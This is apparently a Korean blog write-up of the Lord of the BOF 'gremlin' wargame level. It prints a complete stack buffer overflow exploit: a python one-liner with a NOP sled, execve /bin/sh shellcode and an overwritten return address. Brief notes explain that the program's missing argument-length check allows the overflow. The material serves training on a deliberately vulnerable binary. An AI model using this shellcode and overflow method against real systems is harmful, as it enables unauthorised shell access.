0. Payload
/home/gate/gremlin `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*135+"\xd0\xf8\xff\xbf"+"\x90"*100'`
1. 문제풀이
1) CODE
소스코드 확인 시, 인자값 길이를 확인하지 않음을 알 수 있다.
2)SOLUTION
main() 시작점에서 return address, strcpy() 호출 이후 stack 내 userinput 저장 위치를 확인할 수 있다.
shellcode 실행을 위해, return address 위치 - userinput 위치를 nop과 shell code로 채운 후, return address값을 shell code 가 존재하는 주소로 변경한다.
'HACKING_GAME > SYSTEM' 카테고리의 다른 글
LOB#12 darkknight (0) | 2020.07.19 |
---|---|
PWNABLE#7 input (0) | 2020.05.14 |
LOB#6 check length of argv[1] + egghunter + bufferhunter (wolfman -> darkelf) (0) | 2020.05.10 |
LOB#4 egghunter (goblin -> orc) (0) | 2020.04.26 |
PWNABLE#3 bof (0) | 2020.04.26 |